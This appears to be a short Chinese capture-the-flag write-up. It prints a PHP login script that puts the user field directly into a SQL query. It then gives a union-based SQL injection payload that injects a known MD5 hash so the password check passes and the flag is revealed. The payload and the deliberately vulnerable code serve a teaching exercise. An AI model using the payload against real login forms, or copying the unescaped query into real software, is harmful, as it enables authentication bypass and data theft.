

源码如下:

```
1 <?php
2 show_source("17.php");
3 echo '<br>';
4 if($_POST[user] && $_POST[pass]) {
5 require 'flag.php';
6 error_reporting(0);
7 require 'config.php';
8 $user = $_POST[user];
9 $pass = md5($_POST[pass]);
10 $query = @mysql_fetch_array(mysql_query("SELECT pwd FROM userinfo WHERE
    E uname='$user'"));
11 if (($query['pwd']) && (!strcasecmp($pass, $query['pwd']))) {
12
13     echo "<p>Logged in! Key: $flag";
14 }
15 else {
16     echo("<p>Log in failure!</p>");
17 }
18 mysql_close($con);
19 }
20 ?>
```

仔细阅读源码, 可以发现未对sql语句的传入做出防护, 而后面的验证还比较严密, 所以这里需要对传入的user变量进行构造。

payload

```
1 user=' or 1=0 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=12345
6
```
